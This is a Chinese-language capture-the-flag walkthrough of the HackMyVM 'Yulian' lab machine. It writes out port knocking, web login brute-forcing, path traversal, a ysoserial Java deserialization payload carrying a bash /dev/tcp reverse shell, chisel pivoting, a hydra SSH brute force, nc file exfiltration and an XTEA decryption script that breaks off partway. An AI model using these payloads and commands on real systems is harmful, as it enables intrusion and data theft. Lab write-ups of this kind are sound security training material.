HackMyVM-Yulian-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sudo arp-scan -l -I eth3
Interface: eth3, type: EN10MB, MAC: c0:b8:83:c5:6e:2b, IPv4: 192.168.47.89
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.145 08:00:27:85:c7:16 PCS Systemtechnik GmbH
192.168.47.206 f6:78:66:2a:98:f7 (Unknown: locally administered)
^C
export ip=192.168.47.145
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.47.145:22
Open 192.168.47.145:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-18 09:40 CST
Initiating ARP Ping Scan at 09:40
Scanning 192.168.47.145 [1 port]
Completed ARP Ping Scan at 09:40, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:40
Completed Parallel DNS resolution of 1 host. at 09:40, 0.38s elapsed
DNS resolution of 1 IPs took 0.38s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:40
Scanning 192.168.47.145 [2 ports]
Completed SYN Stealth Scan at 09:40, 1.23s elapsed (2 total ports)
Nmap scan report for 192.168.47.145
Host is up, received arp-response (0.00097s latency).
Scanned at 2025-07-18 09:40:36 CST for 2s

PORT STATE SERVICE REASON
22/tcp filtered ssh no-response
80/tcp filtered http no-response
MAC Address: 08:00:27:85:C7:16 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds
Raw packets sent: 5 (204B) | Rcvd: 1 (28B)

目录枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ gobuster dir -u "http://$ip" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403,502

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.47.145
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,502,404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 6047]
===============================================================
Finished
===============================================================

好像是只存在index.html页面

探测指纹信息

1
2
❯ whatweb $ip
http://192.168.47.145 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx], IP[192.168.47.145], Script, Title[Linux Terminal Simulator], nginx

Knock端口敲门

浏览器打开看看一下,发现是一个伪装终端的网页,直接查看源代码

得到test.c的内容

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 #include<stdio.h>
#include<stdlib.h>

int main()
{
srand(114514);
for(int i = 0; i < 114514; i++)
{
rand();
}
printf("%d\n",rand()%65535);
printf("%d\n",rand()%65535);
printf("%d\n",rand()%65535);

return 0;
}

简单来看就是伪随机数,固定种子是114514

0-65535之间取模三次

尝试将程序编译一下,无论运行几次随机数都是相同的

1
2
3
4
5
6
7
8
9
❯ gcc test.c -o test
❯ ./test
6440
17226
31925
❯ ./test
6440
17226
31925

很明显的,大概率猜测是端口,利用端口敲门看看是否有新的端口开放

得到新的8080端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ knock $ip 6440 17226 31925
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.47.145:22
Open 192.168.47.145:80
Open 192.168.47.145:8080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-18 10:01 CST
Initiating ARP Ping Scan at 10:01
Scanning 192.168.47.145 [1 port]
Completed ARP Ping Scan at 10:01, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:01
Completed Parallel DNS resolution of 1 host. at 10:01, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:01
Scanning 192.168.47.145 [3 ports]
Completed SYN Stealth Scan at 10:01, 1.22s elapsed (3 total ports)
Nmap scan report for 192.168.47.145
Host is up, received arp-response (0.00076s latency).
Scanned at 2025-07-18 10:01:09 CST for 1s

PORT STATE SERVICE REASON
22/tcp filtered ssh no-response
80/tcp filtered http no-response
8080/tcp filtered http-proxy no-response
MAC Address: 08:00:27:85:C7:16 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.41 seconds
Raw packets sent: 7 (292B) | Rcvd: 1 (28B)

探测网页指纹,有个登录页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
❯ whatweb $ip:8080 -v
WhatWeb report for http://192.168.47.145:8080
Status : 302 Found
Title : <None>
IP : 192.168.47.145
Country : RESERVED, ZZ

Summary : Content-Language[en-US], RedirectLocation[http://192.168.47.145:8080/login.html]

Detected Plugins:
[ Content-Language ]
Detect the content-language setting from the HTTP header.

String : en-US

[ RedirectLocation ]
HTTP Server string location. used with http-status 301 and
302

String : http://192.168.47.145:8080/login.html (from location)

HTTP Headers:
HTTP/1.1 302
Connection: close
Content-Language: en-US
Date: Fri, 18 Jul 2025 02:03:23 GMT
Location: http://192.168.47.145:8080/login.html
Content-Length: 0

WhatWeb report for http://192.168.47.145:8080/login.html
Status : 200 OK
Title : Login
IP : 192.168.47.145
Country : RESERVED, ZZ

Summary : HTML5, PasswordField[password], Script

Detected Plugins:
[ HTML5 ]
HTML version 5, detected by the doctype declaration


[ PasswordField ]
find password fields

String : password (from field name)

[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.


HTTP Headers:
HTTP/1.1 200
Connection: close
Content-Length: 2270
Accept-Ranges: bytes
Content-Type: text/html
Date: Fri, 18 Jul 2025 02:03:23 GMT
Last-Modified: Sun, 29 Jun 2025 15:57:39 GMT

Java反序列化

看到icon图标,一眼spring boot

image

再次枚举目录

有个/test目录,提示网站正在开发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ gobuster dir -u "http://$ip:8080" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403,502
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.47.145:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,403,502
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 400) [Size: 158]
/login (Status: 405) [Size: 149]
/login.html (Status: 200) [Size: 2270]
/test (Status: 200) [Size: 39]
/logout (Status: 302) [Size: 0] [--> http://192.168.47.145:8080/login.html]
/success (Status: 200) [Size: 47]
===============================================================
Finished
===============================================================

并且还存在/download大概率是可以下载文件之类的功能

尝试利用admin用户爆破一下密码

因为每次登录后都会302跳转,所以需要添加一个参数--follow跟随重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ wfuzz -c -w /usr/share/wordlists/rockyou.txt -u http://192.168.47.145:8080/login -d "username=admin&password=FUZZ" --follow --hw 162
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.47.145:8080/login
Total requests: 14344392

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000003188: 200 0 L 1 W 47 Ch "123457"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 3845
Filtered Requests: 3844
Requests/sec.: 0

得到密码是123457

尝试登录一下

会跳转到/success并且设置会设置Cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl http://$ip:8080/login -d "username=admin&password=123457" -X POST -v
* using HTTP/1.x
> POST http://192.168.47.145:8080/login HTTP/1.1
> Host: 192.168.47.145:8080
> User-Agent: curl/8.14.1
> Accept: */*
> Proxy-Connection: Keep-Alive
> Content-Length: 30
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 30 bytes
< HTTP/1.1 302
< Content-Length: 0
< Connection: keep-alive
< Date: Fri, 18 Jul 2025 02:30:05 GMT
< Keep-Alive: timeout=4
< Location: http://192.168.47.145:8080/success
< Proxy-Connection: keep-alive
< Set-Cookie: auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=; Path=/; HttpOnly
<
* Connection #0 to host 127.0.0.1 left intact

LFI文件读取

我们携带此Cookie访问/download

报错显示缺少参数file

手动添加尝试LFI读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ curl http://$ip:8080/download -H "Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI="
{"timestamp":"2025-07-18T02:39:44.626+0000","status":400,"error":"Bad Request","message":"Required String parameter 'file' is not present","path":"/download"}%
❯ curl "http://$ip:8080/download?file=../../../etc/passwd" -H "Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI="
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin

发现好像不存在普通用户,猜测很可能存在docker容器中

查看当前进程的命令行信息

1
2
❯ curl "http://$ip:8080/download?file=../../../proc/self/cmdline" -H "Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=" --output -
java-jarjavaserver-0.0.1-SNAPSHOT.jar

你虽然知道了运行的程序的命令是java -jar javaserver-0.0.1-SNAPSHOT.jar

得想办法找到文件存储位置,然后通过download下载下来

javaserver-0.0.1-SNAPSHOT.jar这个jar包名字了

尝试在当前目录下载,结果还真的存在(其实可以在/proc/self/maps中看到)

1
2
3
4
5
6
❯ curl "http://$ip:8080/download?file=javaserver-0.0.1-SNAPSHOT.jar" -H "Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=" -o javaserver-0.0.1-SNAPSHOT.jar
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16.5M 0 16.5M 0 0 33.3M 0 --:--:-- --:--:-- --:--:-- 33.4M
ls -al javaserver-0.0.1-SNAPSHOT.jar
-rw-r--r-- 1 Pepster Pepster 17372377 Jul 18 10:57 javaserver-0.0.1-SNAPSHOT.jar

将jar包解压利用idea打开反编译下,发现存在/deserialize的map映射

并且存在外部库commons-collections-3.2.1.jar

image

观察源代码,很明显的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@PostMapping({"/deserialize"})
public String deserialize(@RequestBody byte[] data, HttpServletRequest request) {
// 1. 权限检查
if (!this.isLoggedIn(request)) {
return "<h2>Error: Unauthorized access"; // 未登录,返回未授权错误
} else {
// 2. 反序列化逻辑
try {
// 将接收到的字节数组包装成字节数组输入流
ByteArrayInputStream bais = new ByteArrayInputStream(data);
// 创建对象输入流,用于从字节流中读取Java对象
ObjectInputStream ois = new ObjectInputStream(bais);
// 从流中读取并反序列化一个Java对象
Object obj = ois.readObject();
// 关闭流
ois.close();
// 反序列化成功,返回对象的字符串表示
return "Deserialized: " + obj.toString();
} catch (Exception e) {
// 发生任何异常,返回错误信息
return "Error: " + e.getMessage();
}
}
}

利用ysoserial生成payload

/deserializePOST包即可拿到反弹shell

1
2
3
4
5
echo -n 'bash -i >& /dev/tcp/192.168.47.89/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3Ljg5LzQ0NDQgMD4mMQ==
❯ java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3Ljg5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
❯ curl "http://$ip:8080/deserialize" -H "Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=" -X POST --data-binary @payload.bin -H "Content-Type:"
{"timestamp":"2025-07-18T05:55:55.833+0000","status":404,"error":"Not Found","message":"No message available","path":"/deserialize"}

用户提权

监听端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[+] Got reverse shell from 3debe9b825c8~192.168.47.145-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY
[+] Attempting to spawn a reverse shell on 192.168.47.89:4444
[+] Got reverse shell from 3debe9b825c8~192.168.47.145-Linux-x86_64 😍️ Assigned SessionID <2>
[+] Shell upgraded successfully using /var/tmp/socat! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/3debe9b825c8~192.168.47.145-Linux-x86_64/2025_07_18-13_55_55-967.log 📜
─────────────────────────────────────────────────────────────────────────────
bash-4.4# cd ~
bash-4.4# ls -al
total 212
drwx------ 1 root root 4096 Jul 18 05:50 .
drwxr-xr-x 1 root root 4096 Jun 24 04:20 ..
lrwxrwxrwx 1 root root 9 Jun 29 15:43 .ash_history -> /dev/null
-rw------- 1 root root 198335 Jul 18 05:55 .bash_history
-rw------- 1 root root 723 Jun 26 05:03 .viminfo
-rw-r--r-- 1 root root 39 Jun 29 15:46 user.txt
bash-4.4# cat user.txt
flag{ce6560c893e5cfec48e0fd186dc03718}

查看当前容器ip为17.3,猜测可能还有其他容器

传个fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
bash-4.4# hostname -i
172.17.0.3
bash-4.4# ./fscan -h 172.17.0.1/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] CIDR范围: 172.17.0.0-172.17.0.255
[*] 已生成IP范围: 172.17.0.0 - 172.17.0.255
[*] 已解析CIDR 172.17.0.1/24 -> IP范围 172.17.0.0-172.17.0.255
[*] 最终有效主机数量: 256
[+] 目标 172.17.0.1 存活 (ICMP)
[+] 目标 172.17.0.2 存活 (ICMP)
[+] 目标 172.17.0.3 存活 (ICMP)
[+] ICMP存活主机数量: 3
[*] 共解析 218 个有效端口
[+] 端口开放 172.17.0.1:22
[+] 端口开放 172.17.0.2:22
[+] 端口开放 172.17.0.2:80
[+] 端口开放 172.17.0.1:80
[+] 端口开放 172.17.0.1:8080
[+] 端口开放 172.17.0.3:8080
[+] 存活端口数量: 6
[*] 开始漏洞扫描...
[*] 网站标题 http://172.17.0.1 状态码:200 长度:6047 标题:Linux Terminal Simulator
[*] 网站标题 http://172.17.0.3:8080 状态码:302 长度:0 标题:无标题 重定向地址: http://172.17.0.3:8080/login.html
[*] 网站标题 http://172.17.0.2 状态码:200 长度:3038 标题:Introduction to Brute Force Attacks
[*] 网站标题 http://172.17.0.1:8080 状态码:302 长度:0 标题:无标题 重定向地址: http://172.17.0.1:8080/login.html
[*] 网站标题 http://172.17.0.3:8080/login.html 状态码:200 长度:2270 标题:Login
[*] 网站标题 http://172.17.0.1:8080/login.html 状态码:200 长度:2270 标题:Login
[!] 扫描错误 172.17.0.1:22 - ssh: handshake failed: EOF
[!] 扫描错误 172.17.0.2:22 - ssh: handshake failed: EOF
[+] 扫描已完成: 6/6
[*] 扫描结束,耗时: 9.547552937s

利用chisel建立tun隧道

1
2
3
4
5
6
7
8
9
10
11
❯ chisel server --reverse -p 1111
2025/07/18 14:29:19 server: Reverse tunnelling enabled
2025/07/18 14:29:19 server: Fingerprint 3X9BNP1KDIzmu6FtaG/m/sQ3n2tCOLZ3RIpbl0UYMVU=
2025/07/18 14:29:19 server: Listening on http://0.0.0.0:1111
2025/07/18 14:30:14 server: session#1: Client version (1.10.1) differs from server version (1.10.1-0kali1)
2025/07/18 14:30:14 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
----------------------
bash-4.4# ./chisel client 192.168.47.89:1111 R:socks&
[1] 1076
bash-4.4# 2025/07/18 06:30:14 client: Connecting to ws://192.168.47.89:1111
2025/07/18 06:30:14 client: Connected (Latency 3.915996ms)

编辑proxychains配置文件

1
2
sudo vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

尝试访问一下另一个容器的web

网页内容主要是将如何进行暴力破解

image

在网页源码注释中发现存在字典名

image

hydra爆破

尝试爆破一下,得到用户凭证root:mountain

1
2
3
4
5
6
7
8
9
10
❯ proxychains -q  hydra -l root -P pass ssh://172.17.0.2 -I -ens -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-18 14:55:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: root password: mountain
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-18 14:55:58

ssh连接上去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ proxychains -q ssh [email protected]
[email protected]'s password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

6ab28be27b0c:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
6ab28be27b0c:~#
6ab28be27b0c:~# hostname -i
172.17.0.2

再次信息收集

XTEA解密

这里可以在/usr/bin目录中找到比较新的两个文件

userLogin output.enc

1
2
3
4
5
6
7
8
9
10
11
6ab28be27b0c:/usr/bin# ls -ltR | head
.:
total 4148
-rw-r--r-- 1 root root 0 Jun 24 17:10 output.enc
-rwxr-xr-x 1 root root 772016 Jun 24 13:15 userLogin
lrwxrwxrwx 1 root root 12 May 30 12:13 [ -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 30 12:13 [[ -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 30 12:13 awk -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 30 12:13 basename -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 30 12:13 bc -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 30 12:13 beep -> /bin/busybox

利用nc传到本地

ida打开分析一下

1
2
3
4
5
6
❯ nc -lvp 2333 > userLogin
listening on [any] 2333 ...
192.168.47.145: inverse host lookup failed: Unknown host
connect to [192.168.47.89] from (UNKNOWN) [192.168.47.145] 43697
----------------------
6ab28be27b0c:/usr/bin# nc 192.168.47.89 2333 < userLogin

跟进encrypt_file()函数

image

v6先是通过key_from_fixed_string()函数获取密钥,然后再进行xtea_encrypt()加密

看下函数实现过程,是如何生成密钥的

image

是将变量FIXED_KEY_STR中的字节,每 4 个字节组合成一个 32 位的 int

循环4次,生成 4 个 32 位的整数作为 XTEA加密的密钥

继续跟踪FIXED_KEY_STR变量,发现是硬编码的key-for-user-ldzid_ed25519

image

得到加密流程了,那就逆着算一遍,尝试解密

容器中寻找加密文件,文件名为output.enc

1
2
3
4
5
6
7
6ab28be27b0c:/usr/bin# find / -name output.enc 2>/dev/null
/etc/output.enc
/usr/bin/output.enc
6ab28be27b0c:/usr/bin# ls -al /etc/output.enc
-rw-r--r-- 1 root root 400 Jun 24 17:57 /etc/output.enc
6ab28be27b0c:/usr/bin# ls -al output.enc
-rw-r--r-- 1 root root 0 Jul 18 07:10 output.enc

加密文件先传到本地

1
2
3
4
5
6
❯ nc -lvp 2333 > output.enc
listening on [any] 2333 ...
192.168.47.145: inverse host lookup failed: Unknown host
connect to [192.168.47.89] from (UNKNOWN) [192.168.47.145] 33845
----------------------
6ab28be27b0c:/usr/bin# nc 192.168.47.89 2333 < /etc/output.enc

让GPT写个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <stdio.h>
#include <stdlib.h>
#include <string.h> // 用于 memcpy 和 memset

// XTEA 常量
#define XTEA_DELTA 0x9E3779B9UL // 无符号长整型,确保32位操作
#define NUM_ROUNDS 64 // XTEA 的轮数

// 注意:只有前16个字节会被用作XTEA密钥
const char FIXED_KEY_STR[] = "key-for-user-ldzid_ed25519";

// 加密后的输入文件和解密后的输出文件宏定义
#define INPUT_ENCRYPTED_FILE "output.enc" // 这是你已有的加密文件
#define OUTPUT_DECRYPTED_FILE "decrypted.bin" // 这将是你的解密后的明文文件

// 根据 FIXED_KEY_STR 生成 XTEA 密钥的函数
// 这是对 key_from_fixed_string 伪代码的直接C语言实现
void key_from_fixed_string(unsigned int *key_buffer) {
for (int i = 0; i <= 3; ++i) {
key_buffer[i] = ((unsigned char)FIXED_KEY_STR[4 * i + 3] << 24) |
((unsigned char)FIXED_KEY_STR[4 * i + 2] << 16) |
((unsigned char)FIXED_KEY_STR[4 * i + 1] << 8) |
((unsigned char)FIXED_KEY_STR[4 * i]);
}
}

// XTEA 解密函数(XTEA 加密算法的逆操作)
// data_block: 指向8字节数据块的指针 (v0, v1),数据将被原地解密
// key: 指向16字节密钥的指针 (k[0] 到 k[3])
void xtea_decrypt(unsigned int *data_block, unsigned int *key) {
unsigned int v0 = data_block[0];
unsigned int v1 = data_block[1];

// sum 必须从加密结束时的值开始
// 加密过程:sum = 0, 然后 sum 累加 DELTA 64次
// 所以,最终的 sum = 64 * DELTA
unsigned int sum = XTEA_DELTA * NUM_ROUNDS;

for (int i = 0; i < NUM_ROUNDS; ++i) {
// 1. 逆向第二轮操作(更新 v1)
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);

// 2. 逆向 sum 的变化
sum -= XTEA_DELTA;

// 3. 逆向第一轮操作(更新 v0)
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}

data_block[0] = v0;
data_block[1] = v1;
}

// --- 文件解密过程 ---
int decrypt_file() {
FILE *fp_in = NULL;
FILE *fp_out = NULL;
unsigned int xtea_key[4]; // 4 * 32位 = 128位密钥
unsigned char block[8]; // 8字节数据块
size_t bytes_read;
long decrypted_bytes_count = 0; // 记录已写入输出的字节数
long encrypted_file_size; // 用于判断是否是最后一个块

// 1. 打开文件
fp_in = fopen(INPUT_ENCRYPTED_FILE, "rb"); // 加密后的文件
fp_out = fopen(OUTPUT_DECRYPTED_FILE, "wb"); // 解密后的文件

if (!fp_in || !fp_out) {
perror("打开文件时出错");
// 如果文件打开失败,打印错误信息并关闭已打开的文件
if (fp_in) fclose(fp_in);
if (fp_out) fclose(fp_out);
return 1;
}

// 2. 生成密钥
key_from_fixed_string(xtea_key);
printf("使用的 XTEA 密钥: 0x%08X 0x%08X 0x%08X 0x%08X\n",
xtea_key[0], xtea_key[1], xtea_key[2], xtea_key[3]);

printf("正在将 '%s' 解密到 '%s'...\n", INPUT_ENCRYPTED_FILE, OUTPUT_DECRYPTED_FILE);

// 获取加密文件总大小,以便判断是否是最后一个块
fseek(fp_in, 0, SEEK_END); // 移动文件指针到文件末尾
encrypted_file_size = ftell(fp_in); // 获取当前文件指针位置(即文件大小)
fseek(fp_in, 0, SEEK_SET); // 移动文件指针回文件开头

// 3. 逐块解密文件
while ((bytes_read = fread(block, 1, 8, fp_in)) > 0) {
// 如果读取的字节数小于8,说明加密文件本身有问题(未按8字节块对齐)
if (bytes_read < 8) {
fprintf(stderr, "错误:加密文件不是8字节的倍数或已截断。\n");
break; // 停止解密
}

// 解密8字节数据块
// 将 block 强制转换为 unsigned int*,XTEA 函数期望32位整数数组
xtea_decrypt((unsigned int *)block, xtea_key);

// --- 填充去除 ---

size_t bytes_to_write = 8; // 默认写入8字节
